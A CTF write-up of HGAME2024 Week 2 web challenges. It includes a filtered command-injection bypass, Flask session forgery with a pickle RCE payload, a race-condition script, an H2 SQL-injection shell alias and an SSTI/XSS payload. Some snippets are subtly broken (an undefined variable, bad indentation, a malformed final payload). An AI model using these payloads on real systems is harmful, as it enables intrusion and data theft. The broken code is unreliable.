Skip to content

HGAME2024 Week2 Writeup

Web

What the cow say?

简单的命令注入

过滤了 cat flag| 还有一些常用的命令,但是可以用 $1 进行绕过。

Payload: ca$1t${IFS}/fl$1ag_is_here/fl$1ag_c0w54y

Flag: hgame{C0wsay_be_c4re_aB0ut_ComMand_Injecti0n}

myflask

Python session伪造+pickle反序列化RCE

python
import pickle
import base64
from flask import Flask, session, request, send_file
from datetime import datetime
from pytz import timezone

currentDateAndTime = datetime.now(timezone('Asia/Shanghai'))
currentTime = currentDateAndTime.strftime("%H%M%S")

app = Flask(__name__)
# Tips: Try to crack this first ↓
app.config['SECRET_KEY'] = currentTime
print(currentTime)

@app.route('/')
def index():
    session['username'] = 'guest'
    return send_file('app.py')

@app.route('/flag', methods=['GET', 'POST'])
def flag():
    if not session:
        return 'There is no session available in your client :('
    if request.method == 'GET':
        return 'You are {} now'.format(session['username'])
    
    # For POST requests from admin
    if session['username'] == 'admin':
        pickle_data=base64.b64decode(request.form.get('pickle_data'))
        # Tips: Here try to trigger RCE
        userdata=pickle.loads(pickle_data)
        return userdata
    else:
        return 'Access Denied'
 
if __name__=='__main__':
    app.run(debug=True, host="0.0.0.0")

session伪造脚本

python
from itsdangerous import URLSafeTimedSerializer
from flask.sessions import TaggedJSONSerializer

# Flask应用的SECRET_KEY
secret_key = "231456"
# 你要修改的session cookie值
session_cookie = "eyJ1c2VybmFtZSI6Imd1ZXN0In0.ZcD7qQ.6XBUbgrVhHiM4npJcpcl3GSSWhs"
# Flask应用的salt,如果设置了的话;默认情况下Flask使用'signed_cookie'作为salt
salt = 'cookie-session'
# 创建序列化和反序列化的对象
serializer = TaggedJSONSerializer()
signer_kwargs = {
    'key_derivation': 'hmac',
    'digest_method': 'sha1'
}
s = URLSafeTimedSerializer(secret_key, salt=salt, serializer=serializer, signer_kwargs=signer_kwargs)

# 解码session cookie
decoded_session = s.loads(session_cookie)

# 修改session数据
decoded_session['username'] = 'admin'  # 修改用户名为admin

# 重新编码session cookie
new_session_cookie = s.dumps(decoded_session)

print(f"原始session: {session_cookie}")
print(f"修改后的session: {new_session_cookie}")

#原始session: eyJ1c2VybmFtZSI6Imd1ZXN0In0.ZcD7qQ.6XBUbgrVhHiM4npJcpcl3GSSWhs
#修改后的session: eyJ1c2VybmFtZSI6ImFkbWluIn0.ZcD74w.affhGC8UXyyu4j50UIosw1mio8Q

pickle反序列化的exp

python
import pickle
import base64
import subprocess

class RCE:
    def __reduce__(self):
        # 使用subprocess.check_output来读取/flag文件的内容
        cmd = ('cat', '/flag')
        return subprocess.check_output, (cmd,)

# 创建恶意对象
malicious_pickle = pickle.dumps(RCE())

# 编码为Base64
encoded_pickle = base64.b64encode(malicious_pickle).decode()

print(encoded_pickle)
#Pickle_data:gASVMwAAAAAAAACMCnN1YnByb2Nlc3OUjAxjaGVja19vdXRwdXSUk5SMA2NhdJSMBS9mbGFnlIaUhZRSlC4=

保险起见,先在自己的服务器上打了一遍(通了),有secret_key方便调试

Secret Key 是类似 221812 的字符串。

之后启动了靶机,估算一下,secret_key 应该在 231450-231500 之间,枚举一下发现是 231456。

用 apifox 发包,得到 flag

HTTP
POST /flag HTTP/1.1
Host: 47.100.137.175:32523
Cookie: session=eyJ1c2VybmFtZSI6ImFkbWluIn0.ZcD74w.affhGC8UXyyu4j50UIosw1mio8Q; session=eyJ1c2VybmFtZSI6Imd1ZXN0In0.ZcD7qQ.6XBUbgrVhHiM4npJcpcl3GSSWhs
User-Agent: Apifox/1.0.0 (https://apifox.com)
Accept: */*
Host: 47.100.137.175:32523
Connection: keep-alive
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW

----WebKitFormBoundary7MA4YWxkTrZu0gW
----WebKitFormBoundary7MA4YWxkTrZu0gW

Flag: hgame{addf02e8d9ddbb4eed69f81d4101b2d31805c6c5}

Select More Courses

登录界面提示使用弱密码,我们拿题目给出的提示字典进行弱密码爆破,发现密码是 qwert123

接下来进入选课界面,发现有扩学分和选课两个界面。

扩学分直接扩不了,提示 Race Against Time,想到条件竞争漏洞。

python
from concurrent.futures import ThreadPoolExecutor

import requests
url="http://47.102.130.35:32646"
url_login = url+"/api/auth/login"
url_select=url+"/api/select"
url_expand=url+"/api/expand"
#登录
def get_session():
    headers_login = {
        "Host": "47.102.130.35:32646",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36",
        "Content-Type": "application/json",
        "Accept": "*/*",
        "Origin": "http://47.102.130.35:32646",
        "Referer": "http://47.102.130.35:32646/login",
        "Accept-Encoding": "gzip, deflate, br",
        "Accept-Language": "zh-CN,zh;q=0.9",
        "Connection": "keep-alive",
    }
    data = {"username": "ma5hr00m", "password": 'qwert123'}
    response = requests.post(url_login, json=data, headers=headers_login)
    response_headers=response.headers
    session_value = response_headers['Set-Cookie'].split(';')[0].split('=')[1]
    print("login done!")
    return session_value
session_value=get_session()
print(f"Session value: {session_value}")
#扩学分
def expand(session_value):
    headers_expand ={
    "Host": "47.102.130.35:32646",
    "Content-Length":"23",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36",
    "Content-Type": "application/json",
    "Accept": "*/*",
    "Origin": "http://47.102.130.35:32646",
    "Referer": "http://47.102.130.35:32646/expand",
    "Accept-Encoding": "gzip, deflate, br",
    "Accept-Language": "zh-CN,zh;q=0.9",
    "Connection": "close",
    "Cookie":f"session={session_value}"}
    data_expand = {"username":"ma5hr00m"}
    response_expand = requests.post(url_expand, json=data_expand, headers=headers_expand)
    print(response_expand.content)
    print("expand done!")
#选课
def select(session_value):
    headers_select ={
    "Host": "47.102.130.35:32646",
    "Content-Length":"30",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36",
    "Content-Type": "application/json",
    "Accept": "*/*",
    "Origin": "http://47.102.130.35:32646",
    "Referer": "http://47.102.130.35:32646/select",
    "Accept-Encoding": "gzip, deflate, br",
    "Accept-Language": "zh-CN,zh;q=0.9",
    "Connection": "close",
    "Cookie":f"session={session_value}"}
    response_select = requests.post(url_select, json=data_select, headers=headers_select)
    print("select done!")
with ThreadPoolExecutor(max_workers=20) as executor:
    for _ in range(100):
        executor.submit(expand, session_value)
	    executor.submit(select, session_value)

多线程发包在服务器未完成响应的情况下完成扩学分功能,之后去领 flag 就行。

Flag: hgame{5ak_p45sW0rD_&_r4Ce_c0nDiT10n}

search4member

H2数据库 Like 注入。

来自官方 writeup:

注册一个新的 shell 函数:

sql
SJTU%';CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws
java.io.IOException { java.util.Scanner s = new
java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter
("\\A"); return s.hasNext() ? s.next() : ""; }$$;SELECT * FROM member WHERE
intro LIKE '%13

将新注册的 shell 函数插入回原表:

sql
SJTU%';INSERT INTO member (id, intro, blog) VALUES
('flag','flag',SHELLEXEC('cat /flag'));SELECT * FROM member WHERE intro LIKE
'%13

读取 flag 回显

sql
flag

Flag: hgame{c434ec279f5354ffa399a046d183ea329f73f77c}

梅开二度

Go语言实现的xss漏洞靶场,waf很严格,我们可以利用dnslog平台读取回显

http端点有三个

  • / 参数tmpl 存在较为严格的xss过滤,但是可以使用SSTI+传参绕过实现xss
  • /bot 参数url 要求传递url到bot对象,限制要求是127.0.0.1:8080下的端点信息
  • /flag 没有参数,对本地访问来源设置flag cookie。

基本思路是让bot访问/flag获得cookie,之后访问/利用tmpl传参获取flag

Cookiehttponly,所以利用document.cookie无法读取

html
<!-- SSTI -->
{{this.set("cookie", 'alert(document.cookie)')}}

最后我们的payload

html
http://47.104.189.35:2020/?tmpl={{this.set(%22cookie%22,%27flag=hgame%7B6f5d8d5371fa0f7e839df1f6f7c2b2f1%7D%27)%22)}}

Flag: hgame{6f5d8d5371fa0f7e839df1f6f7c2b2f1}